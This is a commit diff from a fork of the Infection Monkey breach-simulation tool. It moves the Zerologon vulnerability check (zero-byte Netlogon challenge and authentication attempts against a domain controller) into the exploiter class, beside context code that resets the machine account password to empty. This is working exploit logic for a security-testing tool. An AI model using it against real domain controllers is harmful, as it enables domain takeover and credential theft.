forked from p15670423/monkey
Agent: Move is_exploitable to zerologon.py
This commit is contained in:
parent
374d3d8a50
commit
2281d52acc
|
@ -26,11 +26,7 @@ from infection_monkey.exploit.HostExploiter import HostExploiter
|
|||
from infection_monkey.exploit.tools.wmi_tools import WmiTools
|
||||
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
|
||||
from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump
|
||||
from infection_monkey.exploit.zerologon_utils.vuln_assessment import (
|
||||
connect_to_dc,
|
||||
get_dc_details,
|
||||
is_exploitable,
|
||||
)
|
||||
from infection_monkey.exploit.zerologon_utils.vuln_assessment import connect_to_dc, get_dc_details
|
||||
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
from infection_monkey.utils.capture_output import StdoutCapture
|
||||
|
@ -78,7 +74,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
def _exploit_host(self) -> ExploiterResultData:
|
||||
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
|
||||
|
||||
can_exploit, rpc_con = is_exploitable(self)
|
||||
can_exploit, rpc_con = self.is_exploitable()
|
||||
if can_exploit:
|
||||
logger.info("Target vulnerable, changing account password to empty string.")
|
||||
|
||||
|
@ -116,6 +112,73 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
return self.exploit_result
|
||||
|
||||
def is_exploitable(self) -> Tuple[bool, Optional[rpcrt.DCERPC_v5]]:
|
||||
"""
|
||||
Attempt to authenticate with the domain controller
|
||||
|
||||
:return:
|
||||
- Whether or not authentication was successful
|
||||
- An RPC connection on success, otherwise None
|
||||
"""
|
||||
# Connect to the DC's Netlogon service.
|
||||
try:
|
||||
rpc_con = connect_to_dc(self.dc_ip)
|
||||
except Exception as err:
|
||||
error_message = f"Exception occurred while connecting to DC: {err}"
|
||||
logger.info(error_message)
|
||||
return False, None
|
||||
|
||||
# Try authenticating.
|
||||
for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt):
|
||||
try:
|
||||
rpc_con_auth_result = self._try_zero_authenticate(rpc_con)
|
||||
if rpc_con_auth_result is not None:
|
||||
return True, rpc_con_auth_result
|
||||
except Exception as err:
|
||||
error_message = f"Error occured while authenticating to {self.host}: {err}"
|
||||
logger.info(error_message)
|
||||
return False, None
|
||||
|
||||
return False, None
|
||||
|
||||
def _try_zero_authenticate(self, rpc_con: rpcrt.DCERPC_v5) -> rpcrt.DCERPC_v5:
|
||||
plaintext = b"\x00" * 8
|
||||
ciphertext = b"\x00" * 8
|
||||
flags = 0x212FFFFF
|
||||
|
||||
# Send challenge and authentication request.
|
||||
nrpc.hNetrServerReqChallenge(
|
||||
rpc_con,
|
||||
self.dc_handle + "\x00",
|
||||
self.dc_name + "\x00",
|
||||
plaintext,
|
||||
)
|
||||
|
||||
try:
|
||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||
rpc_con,
|
||||
self.dc_handle + "\x00",
|
||||
self.dc_name + "$\x00",
|
||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
self.dc_name + "\x00",
|
||||
ciphertext,
|
||||
flags,
|
||||
)
|
||||
|
||||
assert server_auth["ErrorCode"] == 0
|
||||
return rpc_con
|
||||
|
||||
except nrpc.DCERPCSessionError as ex:
|
||||
if (
|
||||
ex.get_error_code() == 0xC0000022
|
||||
): # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
||||
pass
|
||||
else:
|
||||
raise Exception(f"Unexpected error code: {ex.get_error_code()}.")
|
||||
|
||||
except BaseException as ex:
|
||||
raise Exception(f"Unexpected error: {ex}.")
|
||||
|
||||
def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
|
||||
for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt):
|
||||
exploit_attempt_result = self.try_exploit_attempt(rpc_con)
|
||||
|
|
|
@ -1,13 +1,12 @@
|
|||
import logging
|
||||
from typing import Optional, Tuple
|
||||
from typing import Tuple
|
||||
|
||||
import nmb.NetBIOS
|
||||
from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport
|
||||
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||
from common.utils.exceptions import DomainControllerNameFetchError
|
||||
from infection_monkey.model import VictimHost
|
||||
from infection_monkey.utils.threading import interruptible_iter
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
@ -44,69 +43,3 @@ def _get_dc_name(dc_ip: str) -> str:
|
|||
raise DomainControllerNameFetchError(
|
||||
"Couldn't get domain controller's name, maybe it's on external network?"
|
||||
)
|
||||
|
||||
|
||||
def is_exploitable(zerologon_exploiter_object) -> Tuple[bool, Optional[rpcrt.DCERPC_v5]]:
|
||||
# Connect to the DC's Netlogon service.
|
||||
try:
|
||||
rpc_con = connect_to_dc(zerologon_exploiter_object.dc_ip)
|
||||
except Exception as err:
|
||||
error_message = f"Exception occurred while connecting to DC: {err}"
|
||||
logger.info(error_message)
|
||||
return False, None
|
||||
|
||||
# Try authenticating.
|
||||
for _ in interruptible_iter(
|
||||
range(0, zerologon_exploiter_object.MAX_ATTEMPTS), zerologon_exploiter_object.interrupt
|
||||
):
|
||||
try:
|
||||
rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con)
|
||||
if rpc_con_auth_result is not None:
|
||||
return True, rpc_con_auth_result
|
||||
except Exception as err:
|
||||
error_message = (
|
||||
f"Error occured while authenticating to {zerologon_exploiter_object.host}: {err}"
|
||||
)
|
||||
logger.info(error_message)
|
||||
return False, None
|
||||
|
||||
return False, None
|
||||
|
||||
|
||||
def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5) -> rpcrt.DCERPC_v5:
|
||||
plaintext = b"\x00" * 8
|
||||
ciphertext = b"\x00" * 8
|
||||
flags = 0x212FFFFF
|
||||
|
||||
# Send challenge and authentication request.
|
||||
nrpc.hNetrServerReqChallenge(
|
||||
rpc_con,
|
||||
zerologon_exploiter_object.dc_handle + "\x00",
|
||||
zerologon_exploiter_object.dc_name + "\x00",
|
||||
plaintext,
|
||||
)
|
||||
|
||||
try:
|
||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||
rpc_con,
|
||||
zerologon_exploiter_object.dc_handle + "\x00",
|
||||
zerologon_exploiter_object.dc_name + "$\x00",
|
||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
zerologon_exploiter_object.dc_name + "\x00",
|
||||
ciphertext,
|
||||
flags,
|
||||
)
|
||||
|
||||
assert server_auth["ErrorCode"] == 0
|
||||
return rpc_con
|
||||
|
||||
except nrpc.DCERPCSessionError as ex:
|
||||
if (
|
||||
ex.get_error_code() == 0xC0000022
|
||||
): # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
||||
pass
|
||||
else:
|
||||
raise Exception(f"Unexpected error code: {ex.get_error_code()}.")
|
||||
|
||||
except BaseException as ex:
|
||||
raise Exception(f"Unexpected error: {ex}.")
|
||||
|
|
Loading…
Reference in New Issue